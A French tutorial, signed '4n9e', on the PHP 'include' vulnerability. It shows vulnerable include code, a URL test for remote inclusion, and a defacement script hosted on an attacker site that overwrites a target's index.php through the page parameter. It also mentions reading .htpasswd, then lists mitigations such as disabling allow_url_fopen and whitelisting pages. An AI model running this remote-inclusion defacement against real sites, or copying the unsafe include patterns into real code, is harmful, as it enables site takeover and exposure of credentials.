![]()
Faille Include
La faille include est encore tres courante sur les sites php. L'include sert principalement à inclure une page dans une autre pour faciliter le mise à jour par exemple ou encore plus fréquament à inclure des variables provenants d'un fichier de configuration.
1) Inclusion d'un autre page.
<?
include($page);
?>
Dans un code html:
<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<? include("maj.php"); ?> // La page que nous incluons dans page1.php
</body>
</html>
2) Inclusion de variables
<?
//---------------------------------------------------
//------------- Page config.php ---------------
//---------------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END -----------------------
?>
<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables
if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------
PS: la fonction include() est quasiment identique à require()
Voilà pour le principales utilisations de l'include en php.
Si l'utilisateur se limite au donnés transmises grace à ces includes sans les modifier, il n'y a aucun problème.
Mais s'il les modifient (Par exemple: http://www.lesite.com/page.php?page=.htpsswrd) il a accés à un grand nombre d'informations et peut par la meme occasion déface le site.
Pour trouver la faille il suffit d'essayer d'inclure une URL :
http://www.lesite.com/page.php?page=http://www.google.com.
i on arrive sur une erreur 404, c'est que la faille semble être protégée.
i au contraire la page d'acceuil de google est include dans la page du site c'est qu'elle est présente !
3) Exploitation:
Imaginons que le test précédent ai fonctionné et que google s'est affiché au beau milieu de la page du site. Le pirate va uploder sur un compte web perso un script du type:
<?
//-------------Hack.php--------------
$fp=fopen("index.php", w);
$msg="Le message qu'il veut mettre en en tete du site";
fwrite($fp,$msg);
fclose($fp);
?>
Il va ensuite "l'inclure" dans le site à défacer :http://www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php
Normalement, si tout ce bien passé, le message devrait être inscrit sur la page d'acceuil du site. Naturellement il est tout à fait possible d'y mettre du html...
4) Sécurité
Il ne faut pas oublier d'aller vérifier dans le fichier php.ini que allow_url_fopen soit sur off pour empecher l''inclusion de données externes.
En premier , rappelons la syntaxe de la fonction include dans le script : (cas des pseudos frames)
<?
$fp=fopen("la page.php", w);
if(file_exists($page)) //si la variable($) page existe
{
include($page); //alors on l'inclue
}
else
{
include ("404.php"); // on inclue une page d'erreur.
}
?>
Donc une premiere methode de sécurisation consiste à ajouter l'extention .php apres la variable d'include tel que $page = $page..php;
Donc en reprenant l'example plus haut :
www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php
Cette url conduira desormais à une erreure 404 vue que .php sera rajouté à la fin de l'URL ( ../hack.php.php ) .
Le problème , c'est que si on ecrit :
www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack
.php sera encore rajouté à la fin de l'URL et cette fois çi , la page sera bien incluse !
Par contre cette securite , sans interdire totalement l'injection de code , empeche l'accés au fichiers sensibles tel que .htaccess .htpasswd ...
4-1)Contrôle de la variable:
<?
switch ($page) {
case "page1.php":
case "page2.php":
case "pages/page.php":
include($page);
break;
default:
exit("404"); // Si la variable ne correspond ni à "page1" ni a "page2" ni a "pages/page.php"
}
?>
By 4n9e